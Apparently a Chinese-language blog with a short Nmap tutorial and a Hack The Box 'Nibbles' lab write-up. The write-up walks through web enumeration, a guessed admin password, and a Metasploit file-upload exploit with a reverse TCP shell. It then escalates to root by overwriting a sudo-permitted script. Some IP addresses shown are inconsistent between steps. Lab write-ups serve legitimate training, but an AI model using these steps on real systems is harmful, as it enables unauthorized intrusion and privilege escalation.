2025年10月27日星期一

Nmap的實務運用

 ##當我們要枚舉靶機所有開放的埠ports的時候,可以用-p-來執行,但速度太慢

##所以我們可以掃tcp的前1000埠來代替

┌─[eu-academy-6]─[]─[]─[~]

└──╼ [★]$ nmap 10.129.196.222 -sS -oA target

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-27 07:47 CDT

Nmap scan report for 10.129.196.222

Host is up (0.051s latency).

Not shown: 993 closed tcp ports (reset)

PORT      STATE SERVICE

22/tcp    open  ssh

80/tcp    open  http

110/tcp   open  pop3

139/tcp   open  netbios-ssn

143/tcp   open  imap

445/tcp   open  microsoft-ds

31337/tcp open  Elite

##注意-oA target 代表將結果用各種型態的檔案類別來儲存,檔名前面加上target

##然後用ls指令來看,確實有儲存

┌─[eu-academy-6]─[]─[]─[~]

└──╼ [★]$ ls

cacert.der  Downloads  Public        target.xml  tnet.nmap

Desktop     Music      target.gnmap  Templates   tnet.xml

Documents   Pictures   target.nmap   tnet.gnmap  Videos


##接著執行xsltproc執行,將xml檔案轉換成html檔案

┌─[eu-academy-6]─[]─[]─[~]

└──╼ [★]$ xsltproc target.xml -o target.html




2025年10月23日星期四

Hack the box - Nibbles靶機Write up

環境介紹:

本機(Local)10.10.15.143

靶機(Target--Nibbles) 10.129.200.170

┌─[eu-academy-6]─[10.10.15.143]─[htb-ac-2034323@htb-q0izyqfsj2]─[~]

└──╼ [★]$ whatweb 10.129.200.170

http://10.129.200.170 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.200.170]

┌─[eu-academy-6]─[10.10.15.143]─[htb-ac-2034323@htb-q0izyqfsj2]─[~]

└──╼ [★]$ curl 10.129.200.170

<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->


從這個網頁可以看到提示 有nibbleblog目錄


gobuster dir -u http://10.129.200.170/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

http://10.129.200.170/nibbleblog/content/

目錄瀏覽



看到這個設定檔,不禁讓我們想到密碼可能是nibbles

http://10.129.200.170/nibbleblog/content/private/config.xml


<name type="string">Nibbles</name>

<notification_email_to type="string">admin@nibbles.com</notification_email_to>


##進入msf

┌─[eu-academy-6]─[10.10.15.143]─[htb-ac-2034323@htb-q0izyqfsj2]─[~]

└──╼ [★]$ msfconsole


Metasploit tip: Use sessions -1 to interact with the last opened session

                                                  


                 _---------.

             .' #######   ;."

  .---,.    ;@             @@`;   .---,..

." @@@@@'.,'@@            @@@@@',.'@@@@ ".

'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;

   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'

     "--'.@@@  -.@        @ ,'-   .'--"

          ".@' ; @       @ `.  ;'

            |@@@@ @@@     @    .

             ' @@@ @@   @@    ,

              `.@@@@    @@   .

                ',@@     @   ;           _____________

                 (   3 C    )     /|___ / Metasploit! \

                 ;@'. __*__,."    \|--- \_____________/

                  '(.,...."/



       =[ metasploit v6.4.71-dev                          ]

+ -- --=[ 2529 exploits - 1302 auxiliary - 431 post       ]

+ -- --=[ 1669 payloads - 49 encoders - 13 nops           ]

+ -- --=[ 9 evasion                                       ]


Metasploit Documentation: https://docs.metasploit.com/


##搜尋nibbleblog弱點

[msf](Jobs:0 Agents:0) >> search nibbleblog


Matching Modules

================


   #  Name                                       Disclosure Date  Rank       Check  Description

   -  ----                                       ---------------  ----       -----  -----------

   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability



Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload


##使用弱點

[msf](Jobs:0 Agents:0) >> use 0


msf6 exploit(multi/http/nibbleblog_file_upload) > show options 


Module options (exploit/multi/http/nibbleblog_file_upload):


   Name       Current Setting  Required  Description

   ----       ---------------  --------  -----------

   PASSWORD   nibbles          yes       The password to authenticate with

   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]

   RHOSTS     10.129.42.190  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

   RPORT      80               yes       The target port (TCP)

   SSL        false            no        Negotiate SSL/TLS for outgoing connections

   TARGETURI  nibbleblog       yes       The base path to the web application

   USERNAME   admin            yes       The username to authenticate with

   VHOST                       no        HTTP server virtual host



Payload options (generic/shell_reverse_tcp):


   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   LHOST  10.10.14.2      yes       The listen address (an interface may be specified)

   LPORT  4444            yes       The listen port



Exploit target:


   Id  Name

   --  ----

   0   Nibbleblog 4.0.3



##爆破

msf6 exploit(multi/http/nibbleblog_file_upload) > exploit

##取得能解壓縮的命令列

(Meterpreter 1)(/home/nibbler) > shell

##查看有特權的使用者和目錄

sudo -l

Matching Defaults entries for nibbler on Nibbles:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin


User nibbler may run the following commands on Nibbles:

    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh


pwd

/home/nibbler

ls

personal.zip

user.txt

##執行解壓縮

unzip personal.zip

Archive:  personal.zip

   creating: personal/

   creating: personal/stuff/

  inflating: personal/stuff/monitor.sh  



ls

personal

personal.zip

user.txt


cd personal

ls

stuff


cd stuff

ls

monitor.sh

#將執行root的指令覆蓋monitor.sh


echo 'cat /root/root.txt' > monitor.sh

##執行指令

sudo ./monitor.sh

##取得flag

de5e5d6619862a8aa5b9b

Nmap的實務運用

 ##當我們要枚舉靶機所有開放的埠ports的時候,可以用-p-來執行,但速度太慢 ##所以我們可以掃tcp的前1000埠來代替 ┌─[eu-academy-6]─[]─[]─[~] └──╼ [★]$ nmap 10.129.196.222 -sS -oA target Sta...